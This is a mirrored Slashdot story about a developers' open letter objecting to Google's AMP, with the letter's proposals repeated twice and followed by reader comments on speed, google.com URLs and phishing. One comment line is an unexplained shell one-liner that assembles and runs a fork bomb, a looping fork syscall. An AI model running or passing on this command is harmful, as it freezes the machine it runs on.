Slashdot Mirror
'The Web is Not Google, and Should Not be Just Google': Developers Express Concerns About AMP (ampletter.org)
A group of prominent developers published an open-letter on Tuesday, outlining their deep concerns about Accelerated Mobile Pages, a project by Google that aims to improve user experience of the Web. Google services already dominate the Web, and the scale at which AMP is growing, it could further reinforce Google's dominance of the Web, developers wrote. The letter acknowledges that web pages could be slow at times, but the solutions out there to address them -- AMP, Facebook's Instant Articles, Apple News -- are creating problems of their own, developers say. From the letter: Search engines are in a powerful position to wield influence to solve this problem. However, Google has chosen to create a premium position at the top of their search results (for articles) and a "lightning" icon (for all types of content), which are only accessible to publishers that use a Google-controlled technology, served by Google from their infrastructure, on a Google URL, and placed within a Google controlled user experience. The AMP format is not in itself, a problem, but two aspects of its implementation reinforce the position of Google as a de facto standard platform for content, as Google seeks to drive uptake of AMP with content creators: Content that "opts in" to AMP and the associated hosting within Google's domain is granted preferential search promotion, including (for news articles) a position above all other results. When a user navigates from Google to a piece of content Google has recommended, they are, unwittingly, remaining within Google's ecosystem.
If Google's objective with AMP is indeed to improve user experience on the Web, then we suggest some simple changes that would do that while still allowing the Web to remain dynamic, competitive and consumer-oriented: Instead of granting premium placement in search results only to AMP, provide the same perks to all pages that meet an objective, neutral performance criterion such as Speed Index. Publishers can then use any technical solution of their choice. Do not display third-party content within a Google page unless it is clear to the user that they are looking at a Google product. It is perfectly acceptable for Google to launch a "news reader," but it is not acceptable to display a page that carries only third party branding on what is actually a Google URL, nor to require that third party to use Google's hosting in order to appear in search results. We don't want to stop Google's development of AMP, and these changes do not require that.
If Google's objective with AMP is indeed to improve user experience on the Web, then we suggest some simple changes that would do that while still allowing the Web to remain dynamic, competitive and consumer-oriented: Instead of granting premium placement in search results only to AMP, provide the same perks to all pages that meet an objective, neutral performance criterion such as Speed Index. Publishers can then use any technical solution of their choice. Do not display third-party content within a Google page unless it is clear to the user that they are looking at a Google product. It is perfectly acceptable for Google to launch a "news reader," but it is not acceptable to display a page that carries only third party branding on what is actually a Google URL, nor to require that third party to use Google's hosting in order to appear in search results. We don't want to stop Google's development of AMP, and these changes do not require that.
Firefox + uBlock origin works pretty well for me on Android. It's faster than Chrome.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
AMP changed that and forced Facebook to follow suit with the lightning articles, and the mobile news reading experience is *infinitely* better now.
Bullshit on all accounts. Facebook's Instant Articles predated Google's AMP by several months, and Google is the one who was following.
Mobile news is markedly worse with AMP; I've read several accounts where publishers lament that it's slower than their native version.
My first sign that AMP is horribly broken is that every single AMP page I've ever visited all point to "google.com", and the URL bar shows "google.com" regardless of the site I'm actually visiting. Phishers can (and have) conceal pretty much anything behind AMP, and few users would have a clue because they see the lock with "google.com" at the top of their browser.
The next problem with AMP is that you can't turn it off: Google feeds you AMP pages if you use a mobile browser, and you have to load the AMP page first and then click to additional times to get to the non-AMP page.
The alternative is to use a different search engine, which is what a lot of us are doing.
AMP is a bigger problem than anything it was trying to replace.
-- Sometimes you have to turn the lights off in order to see.
Simply building an AMP compatible site isn't enough though. To get the preferential search promotion you need to have Google host it.